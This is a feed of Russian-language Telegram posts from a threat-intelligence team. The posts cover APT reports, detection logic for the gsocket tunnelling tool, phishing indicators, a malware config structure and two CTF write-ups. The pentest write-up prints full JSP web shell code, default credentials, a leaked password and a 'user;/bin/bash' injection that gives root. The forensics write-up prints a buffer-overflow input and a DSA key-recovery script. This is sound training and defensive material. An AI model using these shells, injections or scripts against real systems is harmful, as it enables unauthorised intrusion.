Четыре луча – Telegram
Четыре луча
3.88K subscribers
85 photos
98 links
Облучаем экспертизой

Заметки Solar 4RAYS c полей о DFIRMA, TH, OffSec

Блог: https://rt-solar.ru/solar-4rays/blog/
Download Telegram
Channel created
Демон в короне: нашли связи Obstinate Mogwai с IAmTheKing

Мы опубликовали подробный разбор TTP группировки, которую мы называем Obstinate Mogwai. В отчете подробно разобрали их modus operandi и немного коснулись их инструментария (о нём позже ещё напишем отдельный лонгрид).

Среди прочего в статье рассказываем, как:
🫡 пришли в инфраструктуру и обнаружили, что группировка находилась там около двух лет. Это помогло нам весьма подробно проследить эволюцию их инструментария;
🫡 обнаружили артефакты применения довольно экзотических техники "T1113 - Screen Capture";
🫡 рассказали о применении уникальных бэкдоров Donnect DimanoRAT и .NET KingOfHearts.

Но главное: нашли немало пересечений с IAmTheKing, и чуть меньше — с APT31, Hafnium и Space Pirates.

Как всегда в наших отчетах, к анализу добавили вагон индикаторов.

Читать статью
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥24👾65🫡52🍌1
Connect like there is no firewall. Securely

Змеи впадают в зимнюю спячку, из которой выходят только к середине весны. Но мы круглый год готовы к новым атакам Shedding Zmiy!

Сегодня поговорим об использованной группировкой утилите gsocket.

Утилита из набора Global Socket позволяет процессам, работающим в разных подсетях, взаимодействовать друг с другом сквозь firewall и NAT, подменяя привычное общение в рамках IP-адресов на собственный стандарт GSRN. Такой подход делает инструмент удобным выбором для удалённого управления скомпрометированной инфраструктурой.

Как обнаружить активность, специфичную для gsocket, в своей инфраструктуре?
Gsocket может выдать себя по следующим признакам:

1. Мимикрия под kernel thread через подмену argv0:
Нас интересует событие запуска процесса, где нулевой аргумент окружен квадратными скобками. Список нулевых аргументов конечен и захардкожен.

exec -a \[kworker\] gs-netcat


Пример события, на котором можно строить детект:
{
"evt.type": "execve",
"proc.cmdline": "defunct",
"proc.exe": "[watchdogd]",
"proc.exepath": "/home/user/.config/htop/defunct",
"proc.name": "defunct"
}


2. Использование "временных" директорий:
Обращаем внимание на запуск бинарей из

/tmp /var/tmp /dev/shm /run/shm


Пример события, на котором можно строить детект:
{
"evt.type": "execve",
"proc.exepath": "/dev/shm/gs-netcat",
"proc.name": "gs-netcat"
}


3. Использование специфичных статических переменных в коде утилиты:
Например, GSOCKET_ARGS или GS_ARGS содержат в себе ключ, который обеспечит шифрование канала между процессами.

GS_ARGS=-s GAnzLxyo5zzTGdwYPRUVpF -li


Пример события, на котором можно строить детект:
{
"proc.env": "GS_ARGS=-s 7vAKxiEmosrpzPy6DJL19J -t _GSOCKET_SERVER_CHECK_SEC=15",
"evt.type": "execve",
"proc.cmdline": "defunct",
"proc.cwd": "/home/user/",
"proc.exe": "[watchdogd]",
"proc.exepath": "/home/user/.config/htop/defunct",
"proc.name": "defunct"
}


4. Использование скрытых директорий:
Одна из директорий где закрепляется gsocket -- это
/home/user/.config

В процессе Threat Hunting'а отслеживаем запуск бинарей из таких скрытых директорий.

Пример события, на котором можно строить детект:
{
"evt.type": "execve",
"proc.cmdline": "defunct",
"proc.exepath": "/home/user/.config/htop/defunct",
"proc.name": "defunct"
}


5. Аномалии запуска процессов:
Если пропустили первую технику, отслеживаем запуск shell от родительских процессов, скрытых под kernel thread

proc.parent_name:\[\*\] AND proc.name:"bash"


Пример события, на котором можно строить детект:
{
"proc.env": "SHELL=/bin/bash HISTFILE=/dev/null SHLVL=0",
"evt.type": "execve",
"proc.aname[2]": "defunct",
"proc.exepath": "/usr/bin/bash",
"proc.name": "bash",
"proc.pexe": "[watchdogd]",
"proc.pid": 159078,
"proc.pname": "bash"
}


6*. Закрепление как сервис:
Обратим внимание, что этот артефакт не является однозначным указанием на активность gsocket, но может послужить ещё одной деталью для обогащения в руках Threat Hunt-аналитика.

Пример события, на котором можно строить детект:
{
"evt.arg.flags": "O_NONBLOCK|O_CREAT|O_WRONLY|O_F_CREATED",
"evt.res": "SUCCESS",
"evt.type": "openat",
"fd.name": "/lib/systemd/system/defunct.service",
"proc.cmdline": "touch /lib/systemd/system/defunct.service",
"proc.exepath": "/usr/bin/touch",
"proc.name": "touch"
}
🔥28👍95👾5
Нос по ветру: как наш DNS-сниффер помогает искать Blind-уязвимости

Поиск Blind-уязвимостей зачастую является нетривиальной задачей, для решения которой может потребоваться большой «зоопарк» программных средств, а также применение специального подхода, такого как получение DNS-запроса с уязвимого сервера. Популярные средства, используемые для решения этой задачи, такие как dnschef, на наш взгляд, не удобны для совместной работы большой команды, а Burp Collaborator является облачным решением, что подходит далеко не для всех проектов.

Поэтому мы разработали собственный DNS-сниффер с веб-интерфейсом, который является удобным решением для совместной работы и обладает рядом преимуществ:
🫡объединяет возможности самого сниффера и других популярных инструментов (например, InteractSH);
🫡позволяет гибко настраивать права доступа;
🫡наглядно отображает результаты для последующей обработки.

Так, например, для поиска Blind-RCE можно использовать разработанное нами программное обеспечение в сочетании с полезными нагрузками, которые позволяют отправлять HTTP-запросы от имени сервера (например, популярные утилиты curl и wget). В результате возможно не только получить DNS-запрос и таким образом подтвердить наличие уязвимости, но и убедиться в наличии доступа в Интернет с уязвимого узла с помощью информации о поступивших HTTP-запросах, которая сохраняется в журнале DNS-сниффера. И все эти возможности доступны в рамках одного программного решения.

Мы используем DNS-сниффер уже на протяжении пяти лет в различных проектах, и он показал удобство применения и высокую эффективность в решении задач своего класса.

На Github уже доступны исходные коды и необходимая документация.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥157👾4🤯2👨‍💻1🆒1
Как обнаружить эксплуатацию CVE-2024-42640

Не так давно стало известно об уязвимости в angular-base64-upload, которая носит название CVE-2024-42640.
Данная уязвимость позволяет злоумышленнику загружать произвольные файлы на сервер. Затронуты все версии до 0.1.21.
Так что, если ваше приложение написано с использованием фреймворка Angular, то настоятельно рекомендуем проверить версии.

В ходе эмуляции данной активности команде Solar 4RAYS стало очевидно, что эксплуатация уязвимости подразумевает загрузку произвольного файла на сервер (на demo/server.php), к которому впоследствии можно получить доступ (и запустить!) через /uploads.
Данные действия приводят к возможности выполнения произвольного кода на целевом сервере.

Поделимся детектирующей логикой, которая позволит заблокировать эксплуатацию данной уязвимости:
1. Блокировать все POST запросы на URI содержащий demo/server.php и body передающем файл с исполняемым расширением, например
php|sh|exe|pl|py|jsp|asp|bash|php[0-9]+|pht|phpt|phtml|aspx

2. Так же можно добавить блокирующие правила на GET запросы к исполняемым файлам, находящиеся в директории /uploads
🔥138👍7🤨1🙈1
Задачи Шредингера: сокрытие популярного Persistence из вывода утилит Windows

Так ли хорошо вы знаете, как устроен планировщик задач Windows? Внимательно ли читаете то, как меняется операционная система от версии к версии? А что, если мы скажем, что за последние 12 лет планировщик задач изменился до неузнаваемости?

В нашей новой статье мы рассказываем:

— почему C:\Windows\System32\Tasks не является достоверным источником данных о задачах;
— как атакующие обходят логирование планировщика и скрывают задачи от WinAPI;
— как анализировать задачи в системе, если популярные утилиты не умеют этого делать.

Также мы готовы поделиться нашим инструментом для анализа задачплагином для популярной утилиты Registry Explorer, который вместе с исходным кодом вы можете загрузить с нашего Github.

Плагин позволит вам:
— просмотреть действительные команд-лайны всех имеющихся в системе задач;
— подсветить задачи, которые могут быть скрыты от WinAPI.

Читать статью
🔥20👍87🥰1👻1👾1
Приходите на выступления экспертов Solar 4RAYS на SOC Forum

Всем привет! В этом году на SOC Forum будет интересно практикующим специалистам по ИБ в том числе потому, что мы в 4RAYS выступим аж с пятью историями! В этом посте расскажем, чего от них ждать. 

7 ноября, 13:30, зал №3

Наш аналитик группы хостового обнаружения Вадим Грачёв поделится практическими советами в области threat hunting в докладе “Расширение возможностей хостового аудита: адаптация Falco для Linux-систем”. 

Следующие четыре доклада состоятся в пятницу, 8 ноября. 

10:00, зал №5

Руководитель группы расследования инцидентов Иван Сюхин в докладе “Obstinate Mogwai – постоянная угроза. Тактики и цели группировки” расскажет про группировку, за которой пристально наблюдаем уже несколько лет. 

12:00, зал №4

Инженер группы расследований Константин Жигалов и руководитель группы анализа ВПО Владимир Нестор в докладе “Неуловимый GoblinRAT: история самого скрытного и загадочного бэкдора для Linux, обнаруженного в государственных инфраструктурах” прольют свет на вредонос, который вам точно не попадался. Или попадался? Приходите и узнайте.

14:40, зал №4 

В поучительном докладе “Не Best Practice: учимся реагировать на инциденты на чужих ошибках” инженер группы расследований Геннадий Сазонов расскажет, почему атакующим иногда не обязательно быть профессионалами, чтобы достигать целей. 

15:20, зал №1

В докладе "eBPF: E for Evil" руководитель отдела противодействия угрозам Владислав Лашкин и аналитик группы хостового обнаружения Евгений Масьянов расскажут, как механизм eBPF может быть использован злоумышленниками, и что с этим можно сделать.

Изучить программу детально и сохранить напоминалки в календарь можно нужно здесь.

До встречи на SOC Forum!
🫡14🔥11👍8👀21
Загадочный GoblinRAT: делимся результатами исследования самого скрытного Linux-бэкдора в нашей практике

Весной 2023 года сотрудники одной ИТ-компании зафиксировали дамп хешей пользователей с контроллера домена. Он выполнялся при помощи утилиты “impacket-secretsdump”, запущенной на Linux-хосте, после чего системные журналы были очищены. Начиная расследование, мы думали, что нас ждет обычный IR, но через десятки часов в логах поняли, что это не так.

Недели спустя мы обнаружили целое вредоносное семейство, которое назвали GoblinRAT. Его отличительные особенности:

🫡 большая часть функциональности GoblinRAT решает единственную задачу — скрывать присутствие ВПО в системе;

🫡 для коммуникации с С2 GoblinRAT использует взломанные сайты легитимных организаций и DDNS, а почти каждый найденный исполняемый файл содержал уникальный адрес;

🫡 для каждого нового зараженного хоста атакующие применяли уникальные названия задач планировщика, файлов, библиотек и служб для закрепления в системе.

Мы нашли GoblinRAT всего в четырёх организациях. Все наши попытки обнаружить следы этого ВПО в открытых источниках пока не увенчались успехом.

В новой статье делимся подробностями о GoblinRAT и Yara-правилом для поиска угрозы.

Кто знает, может, кому-то из вас повезет обнаружить новые образцы!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥23👍87🤡5👾1
SnakeKeyLogger: новая волна целевого фишинга

На прошлой неделе мы заметили новый этап фишинговой кампании с вредоносным имплантом SnakeKeylogger, нацеленный на российские организации, работающие в области промышленности, сельского хозяйства и энергетики.

SnakeKeylogger – это .NET-стиллер со множеством дополнительных возможностей, распространяющийся по подписке на форумах киберпреступников.

🫡 Злоумышленники рассылают письма с поддельными адресами отправителей российских компаний и компаний стран ближнего зарубежья:

chistof@chistof-ok[.]ru
info@seaport-catering[.]az
ambrazhevich@ooovmp[.]ru

Почтовые сервера отправителей:

mail[.]citycleaning[.]ru
smtp[.]beget[.]ru

🫡 Тема письма обычно содержит следующие ключевые слова:

Договор
Contract/Договор

🫡 Письмо содержит во вложении архив с именем “Contract.bz”.

🫡 В архиве находится исполняемый файл “Contract.exe”, который является дроппером полезной нагрузки в виде SnakeKeylogger.

🫡 Собранные данные SnakeKeylogger отправляет по протоколу SMTP.

Кроме возможностей кейлоггера вредонос обладает перечнем функций для кражи учетных данных из множества популярных браузеров, почтовых клиентов и т.д.

Подробнее о вредоносной кампании читайте у нас в блоге!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13👍86👾2🤡1🙈1
🔍 Взятие флагов по пентесту на квесте Solar 4RAYS на SOC FORUM

О чём речь
8 ноября на SOC Forum мы предложили вам попробовать свои силы в решении задач по пентесту, форензике и OSINT. Сегодня делимся с вами ответом на задание по пентесту.

Легенда
:
Компания X внедрила в свою инфраструктуру контейнер сервлетов, основанный на Apache Tomcat. Этот контейнер позволяет тестировать, отлаживать и запускать веб-приложения, написанные на Java. Сможешь проверить, насколько надежно защищена эта система?

Цель:
Получи root-доступ к серверу и собери все 3 флага.

Сервер для исследования:
195.19.96.163

В случае, если виртуальная машина недоступна, второй сервер: 195.19.96.166


Разберем сценарий квеста, где будем проводить сканирование, изучать уязвимости Tomcat, загружать Web shell, а также повышать привилегии для получения всех флагов.

1️⃣ Сканирование портов

Для начала проводим сканирование на наличие открытых портов с помощью инструмента nmap:

sudo nmap --top-ports 1000 -A -sS -sV --open 195.19.96.163 -Pn


Обнаруживаем два открытых TCP-порта:
22 – SSH сервис, уязвимостей не найдено.
8080 – сервис Tomcat.

2️⃣ Изучение Tomcat

Поиск по открытым источникам уязвимостей для обнаруженной версии Tomcat не дал результатов. Однако можно предположить наличие стандартных учетных данных. С помощью модуля auxiliary/scanner/http/tomcat_mgr_login в Metasploit удалось подобрать учетную запись: manager:password1.

Теперь мы в панели администрирования Tomcat и можем загрузить WAR файл. По инструкции ниже создаем Web shell.

3️⃣ Создание и загрузка Web shell

Устанавливаем JDK для использования команды jar:

sudo apt install default-jdk


Создаем файл index.jsp с кодом для Web shell:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd, null, null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s + "</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>


Далее:
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *


Загружаем файл и получаем возможность выполнять команды через Web shell. В директории /opt/tomcat8/ находим файл flag1.txt с первым флагом.

4️⃣ Повышение привилегий

Ищем способы подключения к хосту. В директории /opt/tomcat8/conf/ обнаруживаем tomcat-users.xml с учетной записью john:wj36Hn2P1rS4vLwSHM.

Подключаемся по SSH под пользователем john и находим второй флаг в его домашней директории.

ssh john@195.19.96.163


Находим папку .noscript с файлом change-pass, предназначенным для смены паролей пользователей. Этот файл принадлежит root и группе help, и имеет SUID-бит. Пользователь john состоит в группе help.

Используем команды для проверки прав и состава файла:
find / -perm -u=s -type f 2>/dev/null
ls -la /home/john/.noscript/change-pass
id john
cat /home/john/.noscript/change-pass.c


С помощью команды /home/john/.noscript/change-pass "user;/bin/bash" получаем привилегии root.

Далее находим финальный флаг в директории root:
cat /root/.flag3.txt


🎉 Поздравляем! Все этапы пройдены, и флаги успешно собраны.
17👍861🐳1👾1
Connect like there is no firewall. Securely. Part_2.

Ранее мы рассказывали про утилиту gsocket и как ее детектить на хосте. Сейчас поговорим про детект на сети.

В число особенностей gsocket (важных для сетевого детекта) входит то, что для коммуникации он использует определенный протокол общения зараженного устройства и сервера управления.
Важнейшие структуры: gs_connect, gs_listen, gs_status, gs_start и gs_accept.

Назначение этих структур понятно из названий, приведем код.
struct _gs_connect
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token_NOTUSED[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE]; // 16 bytes
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};


struct _gs_listen    /* 128 bytes */
{
union {
struct _gs_hdr_lc hdr;
struct
{
uint8_t type;
uint8_t version_major;
uint8_t version_minor;
uint8_t flags;
uint8_t reserved1[4];
uint8_t reserved2[8];
uint8_t token[GS_TOKEN_SIZE]; // 16 bytes
uint8_t addr[GS_ADDR_SIZE];
};
};
uint8_t reserved3[16];
uint8_t reserved4[64];
};


struct _gs_start
{
uint8_t type;
uint8_t flags;
uint8_t reserved[2];
uint8_t reserved2[28];
};


struct _gs_status
{
uint8_t type;
uint8_t err_type;
uint8_t code;
uint8_t reserved[1];
uint8_t msg[28];
};


struct _gs_accept
{
uint8_t type;
uint8_t reserved[3];
uint8_t reserved2[28];
};

В сетевом трафике такие структуры обязательно привлекут внимание, причём не столько "содержательной" частью, как версия или флаги, сколько большим количеством "нулей" — зарезервированных байт.

Сущность type (из приведенных выше структур) имеет конечное количество значений (типов сообщений):
GS_PKT_TYPE_LISTEN  (0x01)  
GS_PKT_TYPE_CONNECT (0x02)
GS_PKT_TYPE_PING (0x03)
GS_PKT_TYPE_PONG (0x04)
GS_PKT_TYPE_START (0x05)
GS_PKT_TYPE_ACCEPT (0x06)
GS_PKT_TYPE_STATUS (0x07)


Детектирующую логику можно построить на последовательности зарезервированных байт, а также определенных типах сообщений.

Но злоумышленники не стоят на месте. Ведь можно просто заблокировать домены, связанные с gsocket (например), которые резолвит данная утилита.

Нам на анализ попалось несколько кастомных версий, которые устанавливают соединение ровно так же, но используют для взаимодействия не "легитимную сеть релей серверов", а свои сервера управления, что и позволило нам написать детектирующую логику на основании вышеуказанных структур.
Осталось переложить заданные структуры на язык описания детектирующей логики и радоваться, пока структура взаимодействия остается актуальной.
115🫡5👾2👍1
Dead Drop Resolver и Steam

Вредоносы начали активно использовать Steam в связке с Telegram в контексте техники Dead Drop Resolver. Пока что это только стилеры, однако есть тенденция, что эту технику подхватят и другие злоумышленники.

Dead Drop Resolver (DDR) заключается в сокрытии на легитимных ресурсах информации о C2 инфраструктуре, притом представляться она может как в plaintext, так и в обфусцированном виде.

В случае со Steam данные могут скрываться в никнейме пользователя, этот метод используют стилеры Vidar (plaintext), Lumma (ROT15, сдвиг может отличаться), ACR (base64).

Среди них выделяется стилер Meta, который использует комментарии к профилю пользователя (XOR + base64). Преимуществом именно этого способа является то, что комментарии можно удалить безвозвратно, в то время как предыдущие никнеймы сохраняются в истории.

Первым игровую платформу Steam начал использовать стилер Vidar. Другие стилеры последовательно осваивали её в течение 2024 года. Мы не исключаем, что другие виды ВПО также начнут использовать популярный игровой сервис.

Так что если видите в своей сети подключения к Steam, то либо кто-то из сотрудников решил поиграть, либо какой-то из стилеров «звонит домой».

Подробности, Yara-правила и индикаторы ищите нашей статье
🔥15👍75🤔2🌚1👾1
Достаем конфиги CrossC2

CrossC2 — это beacon Cobalt Strike под Unix-системы. Инструмент был замечен в ряде атак и периодически используется злоумышленниками во вредоносных кампаниях.

Сгенерированные beacon'ы обычно «накрыты» UPX и обфусцированы с помощью LLVM. К концу файла прикреплен оверлей, который начинается с сигнатуры HOOK — это зашифрованный конфиг, и в таком виде он имеет следующую структуру:

struct config_encrypted {
DWORD magic; // HOOK
DWORD firstPartDataSize
BYTE firstPartData[firstPartDataSize];
DWORD secondPartMagic; // 08 FB 80 8F
DWORD secondPartDataSize;
BYTE secondPartData[secondPartDataSize];
};


В качестве алгоритма шифрования используется AES-128 CBC. Интересной особенностью данного фреймворка является тот факт, что для шифрования конфига всех бинарей используется один и тот же ключ и IV.

Подробнее читайте в нашей новой статье в блоге!
👍13🔥7👏5🌭2👾1
Как разговорить змеев? Решение квеста по форензике на SOC FORUM

О чем речь
На SOC FORUM во время квеста Solar 4RAYS мы предложили вам взломать коммуникации змеев и узнать их секрет.

Сегодня делимся с вами ответом на задание по форензике. Ответы по пентесту были выше.
Змеи приветствуют нас и присылают нам сразу 3 артефакта: dsa.pub, send2zmiy.py и zmiy.

dsa.pub — публичный ключ DSA. А из send2zmiy.py мы можем понять, что змеи получают результат проверки подписи и наше сообщение последовательно.

Теперь рассмотрим zmiy. Он содержит в себе уязвимость переполнения буфера для сообщений змеям:
__isoc99_scanf("%d", &is_good_sign);
fflush(stdin);
__isoc99_scanf("%s", v8);
v4 = strcmp(FromPlanet, "Zmesk") == 0;
if ( !is_good_sign )
{
v1 = rand();
printf("%s%d\n", s[v1 % 3], v6);
fflush(_bss_start);
}
if ( is_good_sign == 1 && !v4 )
{
v2 = rand();
puts(s[v2 % 2 + 3]);
fflush(_bss_start);
}
if ( is_good_sign == 1 && v4 )
{
puts("Ty odin is nas {}");
fflush(_bss_start);
}
return 0LL;

Из функции zmiy_answer видно, что змеи проверяют два флага. Первый, как мы поняли из send2zmiy.py, относится к подписи, а второй — проверка строчки с планетой участника. И если оба флага верны, то змеи принимают нас как сородича репликой: Ty odin is nas {}.

Проэксплуатируем уязвимость переполнения буфера строчкой:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZmesk. Из zmiy также видим, что змеев волнует какая-то проблема с подписью.

А что это вообще за подпись? Для этого откроем страничку «Википедии» о DSA — по названию данного нам ключа — и узнаем, что подпись состоит из пары r, s, которые вычиcляются с использованием параметра k.

Выбор случайного числа k∈(0,q)
Вычисление r=(g^k mod p) mod q
Вычисление s = k^(−1)*(H(m)+xr) mod q
Подписью является пара (r,s) oбщей длины 2N


Ниже на странице видим, что есть описание уязвимости, связанное с повторением k: повторение параметра k для двух сообщений ведет к простому взлому системы.

Снова обратим внимание на сообщения змеев и увидим, что в каждом сообщении они высылают нам Ty ne odin is nasKKKKKKkkkk54533 — какое-то число 54533.

Проверим гипотезу, что змеи переиспользуют k. Действительно, после нескольких сообщений замечаем, что подпись у одних и тех же сообщений не меняется.

Для взлома подписи змеев необходимо решить уравнение r^(-1)(sk-H(m)) = x mod q или воспользоваться одним из готовых решений на github. Это даст нам секретную константу x приватного ключа змеев.
Дальше нужно только подписать наше сообщение.

Скрипт решения:
from Crypto.PublicKey import DSA
from Crypto.Hash import SHA1
from Crypto.Signature import *
from Crypto.Util.number import inverse
from Crypto.Math.Numbers import Integer
from binascii import unhexlify, hexlify


def calculate_x(public_key, k, r, s, h):
q = public_key._key["q"]
r_inv = r.inverse(q)
x = r_inv * (s*k - h) % q
return x

public_key_file = 'dsa.pub'
message = "Mi est Zmiy s planeti Zmesk".encode("utf-8")
hash_hex = SHA1.new(message)
signature_hex = unhexlify("5dee4c2f57a24000558f13ec20937ea95d287fb15492d9d3805c4bd758b8d859571913d213626a65")
k = 54533

with open(public_key_file, 'rb') as f:
public_key = DSA.import_key(f.read())

h = Integer.from_bytes(hash_hex.digest())
r_s_length = len(signature_hex) // 2
r = Integer.from_bytes(signature_hex[:r_s_length])
s = Integer.from_bytes(signature_hex[r_s_length:])

x_value = calculate_x(public_key, k, r, s, h)
public_key._key["x"] = x_value
print(f"The calculated parameter x is: {x_value}")

dss = DSS.new(public_key, 'fips-186-3')
print("Verification Zmiy meassage ", not dss.verify(hash_hex, signature_hex))

# LETS HACK ZMIY
message = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZmesk"
m_hash = SHA1.new(message)
sign = dss.sign(m_hash)
print("Verification our message ", not dss.verify(m_hash, sign)) # library returns false when signature is ok \_0_/

print(f"{message.decode("utf-8")}:{hexlify(m_hash.digest()).decode("utf-8")}:{hexlify(sign).decode("utf-8")}")
👍178👾53🐳1